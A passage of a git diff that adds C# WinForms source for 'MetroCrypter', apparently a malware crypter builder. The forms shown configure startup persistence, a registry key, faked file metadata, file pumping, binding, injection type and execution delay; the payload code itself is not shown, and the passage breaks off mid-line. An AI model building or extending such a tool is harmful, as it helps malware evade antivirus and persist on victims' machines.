"Config File|*.metro"; + if (this.openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + string[] strArrays = File.ReadAllLines(this.openFileDialog1.FileName); + if (this.openFileDialog1.FileName.Contains(".metro")) + { + Form1.CID.PDreply = Convert.ToBoolean(strArrays[0]); + Form1.CID.startupreply = Convert.ToBoolean(strArrays[1]); + Form1.CID.fpreply = Convert.ToBoolean(strArrays[2]); + Form1.CID.fmreply = Convert.ToBoolean(strArrays[3]); + Form1.CID.tmreply = Convert.ToBoolean(strArrays[4]); + Form1.CID.title = strArrays[5]; + Form1.CID.description = strArrays[6]; + Form1.CID.company = strArrays[7]; + Form1.CID.product = strArrays[8]; + Form1.CID.version = strArrays[9]; + Form1.CID.copyright = strArrays[10]; + Form1.CID.trademark = strArrays[11]; + Form1.CID.filename = strArrays[12]; + Form1.CID.iconame = strArrays[13]; + Form1.CID.FolderName = strArrays[14]; + Form1.CID.Sfilename = strArrays[15]; + Form1.CID.RegistKey = strArrays[16]; + Form1.CID.txtPump = strArrays[17]; + Form1.CID.Title = strArrays[18]; + Form1.CID.Message = strArrays[19]; + Form1.CID.delay = strArrays[20]; + Form1.CID.binding = strArrays[21]; + Form1.CID.BindReply = Convert.ToBoolean(strArrays[22]); + Form1.CID.ijtype = strArrays[23]; + Form1.CID.fversion = strArrays[24]; + } + else + { + MessageBox.Show("Error unreadable file \nPlease insert a .metro file"); + } + } + if (this.openFileDialog1.FileName.Contains(".metro")) + { + MessageBox.Show(string.Concat("Loaded ", this.openFileDialog1.FileName, " Succesfully"), "Loaded File", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); + base.Close(); + } + } + + private void button3_Click(object sender, EventArgs e) + { + this.saveFileDialog1.Filter = "Config File|*.metro"; + if (this.saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + TextWriter streamWriter = new StreamWriter(this.saveFileDialog1.FileName); + streamWriter.WriteLine(Form1.CID.PDreply.ToString()); + streamWriter.WriteLine(Form1.CID.startupreply.ToString()); + streamWriter.WriteLine(Form1.CID.fpreply.ToString()); + streamWriter.WriteLine(Form1.CID.fmreply.ToString()); + streamWriter.WriteLine(Form1.CID.tmreply.ToString()); + streamWriter.WriteLine(Form1.CID.title); + streamWriter.WriteLine(Form1.CID.description); + streamWriter.WriteLine(Form1.CID.company); + streamWriter.WriteLine(Form1.CID.product); + streamWriter.WriteLine(Form1.CID.version); + streamWriter.WriteLine(Form1.CID.copyright); + streamWriter.WriteLine(Form1.CID.trademark); + streamWriter.WriteLine(Form1.CID.filename); + streamWriter.WriteLine(Form1.CID.iconame); + streamWriter.WriteLine(Form1.CID.FolderName); + streamWriter.WriteLine(Form1.CID.Sfilename); + streamWriter.WriteLine(Form1.CID.RegistKey); + streamWriter.WriteLine(Form1.CID.txtPump); + streamWriter.WriteLine(Form1.CID.Title); + streamWriter.WriteLine(Form1.CID.Message); + streamWriter.WriteLine(Form1.CID.delay); + streamWriter.WriteLine(Form1.CID.binding); + streamWriter.WriteLine(Form1.CID.BindReply); + streamWriter.WriteLine(Form1.CID.ijtype); + streamWriter.WriteLine(Form1.CID.fversion); + streamWriter.Close(); + MessageBox.Show(string.Concat("Saved to ", this.saveFileDialog1.FileName), "Saved Log File", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); + } + } + + private void button4_Click(object sender, EventArgs e) + { + Form1.CID.PDreply = false; + Form1.CID.startupreply = false; + Form1.CID.fpreply = false; + Form1.CID.fmreply = false; + Form1.CID.tmreply = false; + Form1.CID.BindReply = false; + Form1.CID.title = null; + Form1.CID.description = null; + Form1.CID.company = null; + Form1.CID.product = null; + Form1.CID.version = null; + Form1.CID.copyright = null; + Form1.CID.trademark = null; + Form1.CID.filename = null; + Form1.CID.iconame = null; + Form1.CID.FolderName = null; + Form1.CID.Sfilename = null; + Form1.CID.RegistKey = null; + Form1.CID.txtPump = null; + Form1.CID.Title = null; + Form1.CID.Message = null; + Form1.CID.delay = null; + Form1.CID.binding = null; + Form1.CID.ijtype = null; + Form1.CID.fversion = null; + MessageBox.Show("Cleared Settings"); + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(ProfileDialog)); + this.button3 = new Button(); + this.button2 = new Button(); + this.button1 = new Button(); + this.button4 = new Button(); + this.saveFileDialog1 = new SaveFileDialog(); + this.metroToolTip1 = new MetroToolTip(); + this.openFileDialog1 = new OpenFileDialog(); + base.SuspendLayout(); + this.button3.AllowDrop = true; + this.button3.BackColor = Color.FromArgb(85, 94, 102); + this.button3.BackgroundImageLayout = ImageLayout.None; + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button3.Image = (Image)componentResourceManager.GetObject("button3.Image"); + this.button3.Location = new Point(116, 38); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(97, 94); + this.button3.TabIndex = 52; + this.button3.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button3, "Save Profile"); + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click); + this.button2.AllowDrop = true; + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.BackgroundImageLayout = ImageLayout.None; + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button2.Image = (Image)componentResourceManager.GetObject("button2.Image"); + this.button2.Location = new Point(12, 38); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(97, 94); + this.button2.TabIndex = 53; + this.button2.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button2, "Load Profile"); + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.button1.BackColor = Color.Transparent; + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray; + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(286, 1); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 31); + this.button1.TabIndex = 29; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.button4.AllowDrop = true; + this.button4.BackColor = Color.FromArgb(85, 94, 102); + this.button4.BackgroundImageLayout = ImageLayout.None; + this.button4.FlatAppearance.BorderSize = 0; + this.button4.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button4.FlatStyle = FlatStyle.Flat; + this.button4.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button4.Image = (Image)componentResourceManager.GetObject("button4.Image"); + this.button4.Location = new Point(220, 38); + this.button4.Name = "button4"; + this.button4.Size = new System.Drawing.Size(97, 94); + this.button4.TabIndex = 54; + this.button4.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button4, "Clear"); + this.button4.UseVisualStyleBackColor = false; + this.button4.Click += new EventHandler(this.button4_Click); + this.metroToolTip1.set_Style(4); + this.metroToolTip1.set_StyleManager(null); + this.metroToolTip1.set_Theme(1); + this.openFileDialog1.FileName = "openFileDialog1"; + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(34, 36, 39); + base.ClientSize = new System.Drawing.Size(331, 144); + base.ControlBox = false; + base.Controls.Add(this.button4); + base.Controls.Add(this.button2); + base.Controls.Add(this.button3); + base.Controls.Add(this.button1); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + base.MaximizeBox = false; + this.MaximumSize = new System.Drawing.Size(331, 144); + base.MinimizeBox = false; + base.Name = "ProfileDialog"; + base.ShowIcon = false; + base.ShowInTaskbar = false; + base.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; + base.StartPosition = FormStartPosition.CenterScreen; + base.Load += new EventHandler(this.OptionsStartup_Load); + base.ResumeLayout(false); + } + + private void OptionsStartup_Load(object sender, EventArgs e) + { + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.resx new file mode 100644 index 0000000..0185754 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/ProfileDialog.resx @@ -0,0 +1,169 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAUFJREFUWEft + lz1OQlEUhJ9SkZBgaVwIIYaO0p+aTRhYhloYExrcgiuwcAOuwAVoLyWawGHmnSl8L4+8H8AQc75kkjuH + O3MPHSRB8FeY2SX0XKALXdkdKB1Atxv0CH1DRXDOz4ty1EBPVAehCVTGG/T7IfoyJnqiOggNodc0bvYF + PeX0AHV0PYVe8/xd5gn7hrpeDwRHaYXZu0aNYN5rbKRRfRj2jlgmC8PecaDL4DyHFlBPfio/le/Jz+kJ + zntbhg+RvvzMrc3k+25tQU9wjmViGRLLkFgmA8PeEctkYdg7DneZLnQCteTb8m35lnyXnuC8n2WawLzX + /KNlrr3DPqAjjWuB3DH0yRJwpXF9ED6DftIasxco/0O7ipgj/AtzqupmoGAMrdi2BUvoRpXbgSL+obuH + ir55me6gc1UFwQ5JkjXQL1AL33kvsAAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAcxJREFUWEft + lzsvBGEUhpdIXKNhSxGFjmR/gUKrET9ASSGi0ahpEM3+AoSEhqhlE9UWrhGdQoK4xF1EIojxnu97v9jN + zOz1+0YzT/I058y85+zsZnYmERNTCZ7ndcFleAd/YBBf8ALOw1aeahcEd8JbWA67sJER9kDomoovn0lG + 2AOhLzq7bDKMsAeDK+EbPpXoDdyDY7CGo/2gGTVLHO2HB0RNH8fnw2bUzHF8PmxGidyvXqH8lu7hDhz5 + r2XCmCp1GfkUx3DfskfwHQpnpSyThk3qMjoA2SdqCv5qii2TheH3hSpBdkpN0awXW2aY5zkB+XLVDQOF + lnmDzTzPOsiuhw8yCMgduq7QMos8zwnIH9RjFAumGEa/OsARyN/UYxQ9phjEOaxVBzgA2Un4KYPAIcuh + y8yw7QTkj+sxigmWA5eRx85utp2AfHmcEOTqJFkOXCbLlhOQ36vHKLZY1rCYyyhbTkD+rB6jGGJZw6Lh + A7axZR1ky73lUgYB+b9rYEuDQu6bwQbL1kF2C1xVUzRptv5AUd4OzLvSFdx2YAaau60gF8D/DaDYAZ/l + iIi4himO94OmvFGuwFNonuht+ggP4DRs59iYmCpJJH4Bdu+39NSq4rgAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAACMAAAAjCAYAAAAe2bNZAAAABGdBTUEAALGPC/xhBQAAAc1JREFUWEft + l71KxEAUhVXQBUV3BZ9h7bTQyvcQK1F8AwuxEDsRX0DBQreyWRsbC/+7FVFBS5EFGytBsLSQeM7MTQxh + MkkmIUHYD75m5t47hxA2O309ehSB53ljcBUewXZBLsr49KCpAbvQxCd8yCDrfX7gihyTDjSsqVYzbSlL + Bet1WwADLct2Mig+UG1mYsNgrwZPxUNZi4YhDLSkmpJAYUu1mLGFGdElijdZM4UhDLSgGm2gqIwwpKUa + bbBI1xr5N2H4zhyLu7JWTRgTrNdtRnKH+Yb87Ugr6+PIHaZIemHicA5zBjfguoPsO4dRnMK8wH7ZdgL9 + A/CVw0I4hbmRrVxwjh4XUGmYSz0uoNIwTfiuJmqqC0MwKxyo3DDo3YQXkJ+FcVnzA5UeJvxteoYTsj4J + t1WRDRQVGSY66x42ZK+mimygKDrgUbYyg17eMjpqyh/BE0oEhab/wDtwPqNNmcc/XdHfmCeYHAhFtttB + Fj7gtMx0C4QC270pKww0JXMZ6JqLIVIF8m+U+wW4BQdlbh3ewjB3cFQdXDY4eBheMYWwB2dgXUrKBQcz + EL9VDDIHv2BHtssHh/MdmpUg5ES2qgEB+G7yCeF64w39AowG+w8E10uzAAAAAElFTkSuQmCC + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.Designer.cs new file mode 100644 index 0000000..a8f1a00 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.Designer.cs @@ -0,0 +1,47 @@ +namespace MetroCrypter.Forms +{ + partial class Startup + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // Startup + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "Startup"; + this.Text = "Startup"; + this.Load += new System.EventHandler(this.Startup_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.cs new file mode 100644 index 0000000..af3152d --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.cs @@ -0,0 +1,232 @@ +using MetroCrypter; +using MetroFramework.Controls; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter.Forms +{ + public class Startup : Form + { + private Popup pop; + + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button button1; + + private MetroTextBox Filename; + + private MetroTextBox Folder; + + private Button button2; + + private Button button3; + + public Startup() + { + this.InitializeComponent(); + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + if ((string.IsNullOrEmpty(this.Filename.Text) ? false : !string.IsNullOrEmpty(this.Folder.Text))) + { + Form1.CID.Sfilename = this.Filename.Text; + Form1.CID.FolderName = this.Folder.Text; + base.Close(); + } + else + { + this.pop = new Popup("Please enter everything"); + this.pop.Show(); + } + } + + private void button3_Click(object sender, EventArgs e) + { + if (!Form1.CID.startupreply) + { + this.button2.Enabled = true; + Form1.CID.startupreply = true; + this.button3.Text = "Enabled"; + } + else + { + Form1.CID.startupreply = false; + this.button2.Enabled = false; + this.button3.Text = "Disabled"; + } + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Startup)); + this.button1 = new Button(); + this.Filename = new MetroTextBox(); + this.Folder = new MetroTextBox(); + this.button2 = new Button(); + this.button3 = new Button(); + base.SuspendLayout(); + this.button1.BackColor = Color.Transparent; + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray; + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(203, 0); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 31); + this.button1.TabIndex = 30; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.Filename.get_CustomButton().set_Image(null); + this.Filename.get_CustomButton().Location = new Point(159, 1); + this.Filename.get_CustomButton().Name = ""; + this.Filename.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.Filename.get_CustomButton().set_Style(4); + this.Filename.get_CustomButton().TabIndex = 1; + this.Filename.get_CustomButton().set_Theme(1); + this.Filename.get_CustomButton().set_UseSelectable(true); + this.Filename.get_CustomButton().Visible = false; + this.Filename.set_Lines(new string[0]); + this.Filename.Location = new Point(26, 50); + this.Filename.set_MaxLength(32767); + this.Filename.Name = "Filename"; + this.Filename.set_PasswordChar('\0'); + this.Filename.set_PromptText("File Name"); + this.Filename.set_ScrollBars(ScrollBars.None); + this.Filename.set_SelectedText(""); + this.Filename.set_SelectionLength(0); + this.Filename.set_SelectionStart(0); + this.Filename.set_ShortcutsEnabled(true); + this.Filename.Size = new System.Drawing.Size(181, 23); + this.Filename.set_Style(3); + this.Filename.TabIndex = 31; + this.Filename.set_UseSelectable(true); + this.Filename.set_WaterMark("File Name"); + this.Filename.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.Filename.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.Folder.get_CustomButton().set_Image(null); + this.Folder.get_CustomButton().Location = new Point(159, 1); + this.Folder.get_CustomButton().Name = ""; + this.Folder.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.Folder.get_CustomButton().set_Style(4); + this.Folder.get_CustomButton().TabIndex = 1; + this.Folder.get_CustomButton().set_Theme(1); + this.Folder.get_CustomButton().set_UseSelectable(true); + this.Folder.get_CustomButton().Visible = false; + this.Folder.set_Lines(new string[0]); + this.Folder.Location = new Point(26, 81); + this.Folder.set_MaxLength(32767); + this.Folder.Name = "Folder"; + this.Folder.set_PasswordChar('\0'); + this.Folder.set_PromptText("Folder Name"); + this.Folder.set_ScrollBars(ScrollBars.None); + this.Folder.set_SelectedText(""); + this.Folder.set_SelectionLength(0); + this.Folder.set_SelectionStart(0); + this.Folder.set_ShortcutsEnabled(true); + this.Folder.Size = new System.Drawing.Size(181, 23); + this.Folder.set_Style(3); + this.Folder.TabIndex = 32; + this.Folder.set_UseSelectable(true); + this.Folder.set_WaterMark("Folder Name"); + this.Folder.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.Folder.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.Enabled = false; + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.button2.ForeColor = Color.White; + this.button2.Location = new Point(26, 123); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(181, 23); + this.button2.TabIndex = 34; + this.button2.Text = "Apply"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.button3.BackColor = Color.FromArgb(85, 94, 102); + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.ForeColor = Color.White; + this.button3.Location = new Point(26, 12); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 23); + this.button3.TabIndex = 35; + this.button3.Text = "Disabled"; + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(34, 36, 39); + base.ClientSize = new System.Drawing.Size(233, 160); + base.ControlBox = false; + base.Controls.Add(this.button3); + base.Controls.Add(this.button2); + base.Controls.Add(this.Folder); + base.Controls.Add(this.Filename); + base.Controls.Add(this.button1); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.MaximumSize = new System.Drawing.Size(233, 189); + base.Name = "Startup"; + base.ShowIcon = false; + base.ShowInTaskbar = false; + base.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "Startup"; + base.Load += new EventHandler(this.Startup_Load); + base.ResumeLayout(false); + } + + private void Startup_Load(object sender, EventArgs e) + { + this.Filename.Text = Form1.CID.Sfilename; + this.Folder.Text = Form1.CID.FolderName; + if (!Form1.CID.startupreply) + { + this.button3.Text = "Disabled"; + } + else + { + this.button2.Enabled = true; + this.button3.Text = "Enabled"; + } + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.resx new file mode 100644 index 0000000..8720189 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Startup.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.Designer.cs new file mode 100644 index 0000000..64a53fb --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.Designer.cs @@ -0,0 +1,47 @@ +namespace MetroCrypter.Forms +{ + partial class Timer + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // Timer + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "Timer"; + this.Text = "Timer"; + this.Load += new System.EventHandler(this.Timer_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.cs new file mode 100644 index 0000000..7592360 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.cs @@ -0,0 +1,195 @@ +using MetroCrypter; +using MetroFramework.Controls; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter.Forms +{ + public class Timer : Form + { + private Popup pop; + + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button button1; + + private Button button3; + + private Button button2; + + private MetroTextBox timerr; + + public Timer() + { + this.InitializeComponent(); + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(this.timerr.Text)) + { + Form1.CID.delay = this.timerr.Text; + base.Close(); + } + else + { + this.pop = new Popup("Please enter everything"); + this.pop.Show(); + } + } + + private void button3_Click(object sender, EventArgs e) + { + if (!Form1.CID.tmreply) + { + this.button2.Enabled = true; + Form1.CID.tmreply = true; + this.button3.Text = "Enabled"; + } + else + { + Form1.CID.tmreply = false; + this.button2.Enabled = false; + this.button3.Text = "Disabled"; + } + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(MetroCrypter.Forms.Timer)); + this.button1 = new Button(); + this.button3 = new Button(); + this.button2 = new Button(); + this.timerr = new MetroTextBox(); + base.SuspendLayout(); + this.button1.BackColor = Color.Transparent; + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray; + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(256, -1); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 31); + this.button1.TabIndex = 30; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.button3.BackColor = Color.FromArgb(85, 94, 102); + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.ForeColor = Color.White; + this.button3.Location = new Point(12, 12); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 23); + this.button3.TabIndex = 37; + this.button3.Text = "Disabled"; + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click); + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.Enabled = false; + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.button2.ForeColor = Color.White; + this.button2.Location = new Point(94, 110); + this.button2.MaximumSize = new System.Drawing.Size(97, 